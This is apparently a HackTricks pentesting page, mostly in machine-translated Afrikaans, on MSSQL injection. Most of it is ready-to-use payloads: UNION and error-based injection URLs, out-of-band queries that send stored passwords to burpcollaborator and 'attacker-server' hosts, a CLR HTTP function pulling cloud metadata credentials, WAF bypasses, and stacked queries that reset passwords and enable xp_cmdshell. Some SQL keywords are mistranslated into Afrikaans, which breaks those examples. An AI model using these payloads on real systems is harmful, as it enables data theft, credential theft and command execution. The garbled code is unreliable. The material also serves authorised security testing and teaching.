MSSQL Injection
Reading time: 9 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Active Directory enumerasie
Dit mag moontlik wees om domein gebruikers te enumeer via SQL-inspuiting binne 'n MSSQL bediener met behulp van die volgende MSSQL funksies:
SELECT DEFAULT_DOMAIN()
: Kry huidige domeinnaam.master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))
: As jy die naam van die domein (DOMAIN in hierdie voorbeeld) ken, sal hierdie funksie die SID van die gebruiker Administrator in hex formaat teruggee. Dit sal lyk soos0x01050000000[...]0000f401
, let op hoe die laaste 4 bytes die nommer 500 in big endian formaat is, wat die gewone ID van die gebruiker administrator is.
Hierdie funksie sal jou toelaat om die ID van die domein te ken (al die bytes behalwe die laaste 4).SUSER_SNAME(0x01050000000[...]0000e803)
: Hierdie funksie sal die gebruikersnaam van die aangeduide ID teruggee (indien enige), in hierdie geval 0000e803 in big endian == 1000 (gewoonlik is dit die ID van die eerste gewone gebruiker ID wat geskep is). Dan kan jy jou voorstel dat jy gebruikers-ID's van 1000 tot 2000 kan brute-force en waarskynlik al die gebruikersname van die gebruikers van die domein kan kry. Byvoorbeeld deur 'n funksie soos die volgende te gebruik:
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
Alternatiewe Fout-gebaseerde vektore
Fout-gebaseerde SQL-inbrake lyk tipies soos konstruksies soos +AND+1=@@version--
en variasies gebaseer op die «OR» operator. Vrae wat sulke uitdrukkings bevat, word gewoonlik deur WAFs geblokkeer. As 'n omseiling, konkateer 'n string met die %2b karakter met die resultaat van spesifieke funksie-aanroepe wat 'n datatipe-omskakelingsfout op gesogte data veroorsaak.
Sommige voorbeelde van sulke funksies:
SUSER_NAME()
USER_NAME()
PERMISSIONS()
DB_NAME()
FILE_NAME()
TYPE_NAME()
COL_NAME()
Voorbeeld gebruik van funksie USER_NAME()
:
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
SSRF
Hierdie SSRF truuks is hier geneem
fn_xe_file_target_read_file
Dit vereis VIEW SERVER STATE
toestemming op die bediener.
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
fn_get_audit_file
Dit vereis die CONTROL SERVER
toestemming.
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
fn_trace_gettabe
Dit vereis die CONTROL SERVER
toestemming.
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
xp_dirtree
, xp_fileexists
, xp_subdirs
Gestoor prosedures soos xp_dirtree
, hoewel nie amptelik gedokumenteer deur Microsoft nie, is deur ander aanlyn beskryf weens hul nut in netwerkbedrywighede binne MSSQL. Hierdie prosedures word dikwels gebruik in Out of Band Data exfiltrasie, soos getoon in verskeie voorbeelde en plase.
Die xp_dirtree
gestoor prosedure, byvoorbeeld, word gebruik om netwerk versoeke te maak, maar dit is beperk tot slegs TCP poort 445. Die poortnommer kan nie gewysig word nie, maar dit stel voor om van netwerk gedeeltes te lees. Die gebruik word gedemonstreer in die SQL skrip hieronder:
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\' + @user + '.attacker-server\\aa"');
Dit is noemenswaardig dat hierdie metode dalk nie op alle stelsels konfigurasies werk nie, soos op Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
wat op 'n Windows Server 2016 Datacenter
met standaardinstellings loop.
Daarbenewens is daar alternatiewe gestoor prosedures soos master..xp_fileexist
en xp_subdirs
wat soortgelyke resultate kan behaal. Verdere besonderhede oor xp_fileexist
kan gevind word in hierdie TechNet artikel.
xp_cmdshell
Dit is duidelik dat jy ook xp_cmdshell
kan gebruik om iets uit te voer wat 'n SSRF ontketen. Vir meer inligting lees die relevante afdeling op die bladsy:
1433 - Pentesting MSSQL - Microsoft SQL Server
MSSQL User Defined Function - SQLHttp
Die skep van 'n CLR UDF (Common Language Runtime User Defined Function), wat kode is wat in enige .NET-taal geskryf is en in 'n DLL gecompileer is, om binne MSSQL gelaai te word vir die uitvoering van pasgemaakte funksies, is 'n proses wat dbo
toegang vereis. Dit beteken dit is gewoonlik slegs haalbaar wanneer die databasisverbinding as sa
of met 'n Administrateur rol gemaak word.
'n Visual Studio-projek en installasie-instruksies word verskaf in hierdie Github-repositori om die laai van die binêre in MSSQL as 'n CLR-assemblage te fasiliteer, wat die uitvoering van HTTP GET versoeke vanuit MSSQL moontlik maak.
Die kern van hierdie funksionaliteit is ingekapsuleer in die http.cs
lêer, wat die WebClient
klas gebruik om 'n GET versoek uit te voer en inhoud te verkry soos hieronder geïllustreer:
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString(html);
}
}
Voordat die CREATE ASSEMBLY
SQL-opdrag uitgevoer word, word dit aanbeveel om die volgende SQL-snippet te loop om die SHA512-hash van die assembly by die bediener se lys van vertroude assemblies (beskikbaar via select * from sys.trusted_assemblies;
) te voeg:
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
Na suksesvolle toevoeging van die samestelling en die skep van die funksie, kan die volgende SQL-kode gebruik word om HTTP-versoeke uit te voer:
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
Vinige Exploit: Herwinning van Hele Tabelinhoud in 'n Enkele Vraag
'n Bondige metode om die volle inhoud van 'n tabel in 'n enkele vraag te onttrek, behels die gebruik van die FOR JSON
klousule. Hierdie benadering is meer bondig as om die FOR XML
klousule te gebruik, wat 'n spesifieke modus soos "raw" vereis. Die FOR JSON
klousule word verkies weens sy bondigheid.
Hier is hoe om die skema, tabelle en kolomme van die huidige databasis te herwin:
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
In situations where error-based vectors are used, it's crucial to provide an alias or a name. This is because the output of expressions, if not provided with either, cannot be formatted as JSON. Here's an example of how this is done:
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`</span></div>
Retrieving the Current Query
For users granted the VIEW SERVER STATE
permission on the server, it's possible to see all executing sessions on the SQL Server instance. However, without this permission, users can only view their current session. The currently executing SQL query can be retrieved by accessing sys.dm_exec_requests and sys.dm_exec_sql_text:
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
To check if you have the VIEW SERVER STATE permission, the following query can be used:
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
Little tricks for WAF bypasses
Non-standard whitespace characters: %C2%85 или %C2%A0:
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
Scientific (0e) and hex (0x) notation for obfuscating UNION:
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
A period instead of a whitespace between FROM and a column name:
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
\N separator between SELECT and a throwaway column:
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
WAF Bypass with unorthodox stacked queries
According to this blog post it's possible to stack queries in MSSQL without using ";":
SELECT 'a' SELECT 'b'
So for example, multiple queries such as:
gebruik [tempdb]
skep tabel [test] ([id] int)
voeg in [test] waardes(1)
selecteer [id] van [test]
verwyder tabel [test]
Can be reduced to:
gebruik[tempdb]skep/**/tafel[test]([id]int)invoeg[test]waardes(1)selecteer[id]van[test]verwyder/**/tafel[test]
Therefore it could be possible to bypass different WAFs that doesn't consider this form of stacking queries. For example:
# Voeg 'n nuttelose exec() aan die einde by en laat die WAF dink dit is nie 'n geldige navraag nie
admina'union select 1,'admin','testtest123'exec('select 1')--
## Dit sal wees:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Gebruik van vreemd geboude navrae
admin'exec('update[users]set[password]=''a''')--
## Dit sal wees:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Of om xp_cmdshell in te skakel
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## Dit sal wees
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--